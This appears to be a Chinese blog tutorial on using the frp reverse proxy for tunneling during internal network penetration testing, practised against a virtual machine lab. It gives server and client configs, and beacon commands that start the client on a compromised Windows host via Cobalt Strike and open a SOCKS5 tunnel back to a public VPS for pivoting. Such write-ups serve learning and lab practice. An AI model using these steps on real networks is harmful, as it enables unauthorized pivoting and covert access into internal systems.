使用frp进行内网穿透(内网隧道搭建)
题记
最近打算着实研究研究内网渗透,端口转发这块折磨我好久了,看了好多理论觉得云里雾里的,所以打算亲自操作看看,毕竟实践是检验真理的唯一标准。
Frp简介
搭建frp服务器进行内网穿透,可用且推荐,可以达到不错的速度,且理论上可以开放任何想要的端口,可以实现的功能远不止远程桌面或者文件共享。
frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容。
准备工作
1、VPS一台(具有公网ip的服务器):kali
2、目标服务器:Windows
3、简单的linux基础
服务端设置
SSH连接到VPS之后运行如下命令查看处理器架构,根据架构下载不同版本的frp
arch
查看结果,如果是"X86_64"即可选择"amd64",运行如下命令,根据架构不同,选择相应版本并进行下载
wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.g然后解压tar -zxvf frp_0.22.0_linux_amd64.tar.gz
文件夹改个名,方便使用
cp -r frp_0.22.0_linux_amd64 frp
把解压出来的文件夹复制到你想要的目录下,为了方便我直接放在用户目录下了,进入该目录
cd frp
查看一下文件
ls -a
我们只需要关注如下几个文件
frps
frps.ini
frpc
frpc.ini
前两个文件(s结尾代表server)分别是服务端程序和服务端配置文件,后两个文件(c结尾代表client)分别是客户端程序和客户端配置文件。因为我们正在配置服务端,可以删除客户端的两个文件。
rm frpc
rm frpc.ini
然后修改frps.ini文件
vim frps.ini
[common] bind_addr = 0.0.0.0 #绑定的ip,为本机 bind_port = 7000 #绑定的端口 dashboard_addr = 0.0.0.0 #管理地址 dashboard_port = 27500 #管理端口 dashboard_user = root #管理的用户名 dashboard_pwd = 123456 #管理用户的密码 token = 1q2w3e #客户端服务端连接的密码 heartbeat_timeout = 90 #心跳超时时间 max_pool_count = 5 #最大同时连接数
编辑完成后保存
之后我们就可以运行frps的服务端了
./frps -c frps.ini
如果看到屏幕输出这样一段内容,即表示运行正常,如果出现错误提示,请检查上面的步骤。
此时访问 x.x.x.x:27500 并使用自己设置的用户名密码登录,即可看到仪表板界面
客户端设置
把文件通过cs上传上去
frpc.ini配置
[common] server_addr = 103.234.72.5 server_port = 7000 #服务器绑定的端口 token = 1q2w3e pool_count = 5 protocol = tcp #协议类型 health_check_type = tcp health_check_interval_s = 100 [test] remote_port = 10000 #代理的端口 plugin = socks5 #使用的协议 use_encryption = true #是否加密 use_compression = true
客户端启动
在cs的输入beacon命令启动客户端
cd C:\frp_0.34.3_windows_amd64
shell frpc.exe -c frpc.ini
启动后服务器端操作界面会回显一个连接。
我们本机设置代理:socks5 103.234.72.5 10000
这里我们用火狐的代理插件
我代理的目标ip地址为192.168.0.132,是一个虚拟机靶场,我真实机器ip为192.168.0.129,在真实机器挂代理后访问页面127.0.0.1可以访问到靶场,可见成功走132的流量。
Frp代理拓扑图(便于理解)
我用visio画的,看起来有些简陋,但是理是那个理。端口映射也就这么回事。
参考文献
1、使用frp进行内网穿透:https://sspai.com/post/52523/
2、[安世加] - 2020-04-26 内网渗透 - 内网穿透工具FRP的使用